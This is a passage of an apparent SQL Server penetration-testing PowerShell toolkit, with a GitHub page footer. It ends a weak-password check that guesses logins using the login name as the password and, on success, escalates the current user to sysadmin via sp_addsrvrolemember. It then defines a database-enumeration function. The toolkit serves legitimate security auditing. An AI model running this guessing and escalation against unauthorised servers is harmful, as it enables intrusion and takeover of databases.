$IsVulnerable = 'Yes'
$IsExploitable = 'Yes'
$null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)
}
else
{
Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword"
}
}
}
# Test user as pass
if(-not $NoUserAsPass)
{
$LoginList |
Select-Object -Unique |
ForEach-Object -Process {
$TargetLogin = $_
$TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestPass)
{
# Check if user/name combo has sysadmin
$IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin3 -eq 'Yes')
{
$SysadminStatus = 'Sysadmin'
}
else
{
$SysadminStatus = 'Not Sysadmin'
}
Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin"
if(($Exploit) -and $IsSysadmin3 -eq 'Yes')
{
# Check if the current login is a sysadmin
$IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin4 -eq 'Yes')
{
Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
}
else
{
Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..."
# Add current user as sysadmin if login was successful
Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose
# Check if the current login is a sysadmin again
$IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin5 -eq 'Yes')
{
$Exploited = 'Yes'
Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now."
}
else
{
$Exploited = 'No'
Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."
}
}
}
# Add record
$Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin."
$IsVulnerable = 'Yes'
$IsExploitable = 'Yes'
$null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)
}
else
{
Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin"
}
}
}
# -----------------------------------------------------------------
# Check for exploit dependancies
# Note: Typically secondary configs required for dba/os execution
# -----------------------------------------------------------------
# $IsExploitable = "No" or $IsExploitable = "Yes"
# Check if the link is alive and verify connection + check if sysadmin
# -----------------------------------------------------------------
# Exploit Vulnerability
# Note: Add the current user to sysadmin fixed server role
# -----------------------------------------------------------------
# $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin
# Status User
Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password"
}
End
{
# Return data
if ( -not $NoOutput)
{
Return $TblData | Sort-Object -Property computername, instance, details
}
}
}
Function Get-SQLDatabase
{
<#
.SYNOPSIS
Returns database information from target SQL Servers.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER DatabaseName
Database name to filter for.
.PARAMETER NoDefaults
Only select non default databases.
.PARAMETER HasAccess
Only select databases the current user has access to.
.PARAMETER SysAdminOnly
Only select databases owned by a sysadmin.
.EXAMPLE
PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
DatabaseId : 7
DatabaseName : testdb
DatabaseOwner : sa
OwnerIsSysadmin : 1
is_trustworthy_on : True
is_db_chaining_on : False
is_broker_enabled : True
is_encrypted : False
is_read_only : False
create_date : 4/13/2016 4:27:36 PM
recovery_model_desc : FULL
FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
DbSizeMb : 3.19
has_dbaccess : 1
.EXAMPLE
PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Database name.')]
[string]$DatabaseName,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select non default databases.')]
[switch]$NoDefaults,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select databases the current user has access to.')]
[switch]$HasAccess,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select databases owned by a sysadmin.')]
[switch]$SysAdminOnly,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Create data tables for output
$TblResults = New-Object -TypeName System.Data.DataTable
$TblDatabases = New-Object -TypeName System.Data.DataTable
$null = $TblDatabases.Columns.Add('ComputerName')
$null = $TblDatabases.Columns.Add('Instance')
$null = $TblDatabases.Columns.Add('DatabaseId')
$null = $TblDatabases.Columns.Add('DatabaseName')
$null = $TblDatabases.Columns.Add('DatabaseOwner')
$null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
$null = $TblDatabases.Columns.Add('is_trustworthy_on')
$null = $TblDatabases.Columns.Add('is_db_chaining_on')
$null = $TblDatabases.Columns.Add('is_broker_enabled')
$null = $TblDatabases.Columns.Add('is_encrypted')
$null = $TblDatabases.Columns.Add('is_read_only')
$null = $TblDatabases.Columns.Add('create_date')
$null = $TblDatabases.Columns.Add('recovery_model_desc')
$null = $TblDatabases.Columns.Add('FileName')
$null = $TblDatabases.Columns.Add('DbSizeMb')
$null = $TblDatabases.Columns.Add('has_dbaccess')
# Setup database filter
if($DatabaseName)
{
$DatabaseFilter = " and a.name like '$DatabaseName'"
}
else
{
$DatabaseFilter = ''
}
# Setup NoDefault filter
if($NoDefaults)
{
$NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
}
else
{
$NoDefaultsFilter = ''
}
# Setup HasAccess filter
if($HasAccess)
{
$HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
}
else
{
$HasAccessFilter = ''
}
# Setup owner is sysadmin filter
if($SysAdminOnly)
{
$SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
}
else
{
$SysAdminOnlyFilter = ''
}
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Check version
$SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
if($SQLVersionFull)
{
$SQLVersionShort = $SQLVersionFull.Split('.')[0]
}
# Base query
$QueryStart = " SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
a.database_id as [DatabaseId],
a.name as [DatabaseName],
SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
a.is_trustworthy_on,
a.is_db_chaining_on,"
# Version specific columns
if([int]$SQLVersionShort -ge 10)
{
$QueryVerSpec = '
a.is_broker_enabled,
a.is_encrypted,
a.is_read_only,'
}
# Query end
$QueryEnd = '
a.create_date,
a.recovery_model_desc,
b.filename as [FileName],
(SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
from sys.master_files where name like a.name) as [DbSizeMb],
HAS_DBACCESS(a.name) as [has_dbaccess]
FROM [sys].[databases] a
INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'
# User defined filters
$Filters = "
$DatabaseFilter
$NoDefaultsFilter
$HasAccessFilter
$SysAdminOnlyFilter
ORDER BY a.database_id"
$Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"
# Execute Query
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Append results for pipeline items
$TblResults |
ForEach-Object -Process {
# Set version specific values
if([int]$SQLVersionShort -ge 10)
{
$is_broker_enabled = $_.is_broker_enabled
$is_encrypted = $_.is_encrypted
$is_read_only = $_.is_read_only
}
else
{
$is_broker_enabled = 'NA'
$is_encrypted = 'NA'
$is_read_only = 'NA'
}
$null = $TblDatabases.Rows.Add(
$_.ComputerName,
$_.Instance,
$_.DatabaseId,
$_.DatabaseName,
$_.DatabaseOwner,
$_.OwnerIsSysadmin,
$_.is_trustworthy_on,
$_.is_db_chaining_on,
$is_broker_enabled,
$is_encrypted,
$is_read_only,
$_.create_date,
$_.recovery_model_desc,
$_.FileName,
$_.DbSizeMb,
$_.has_dbaccess
)
}
}
End
{
# Return data
$TblDatabases
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment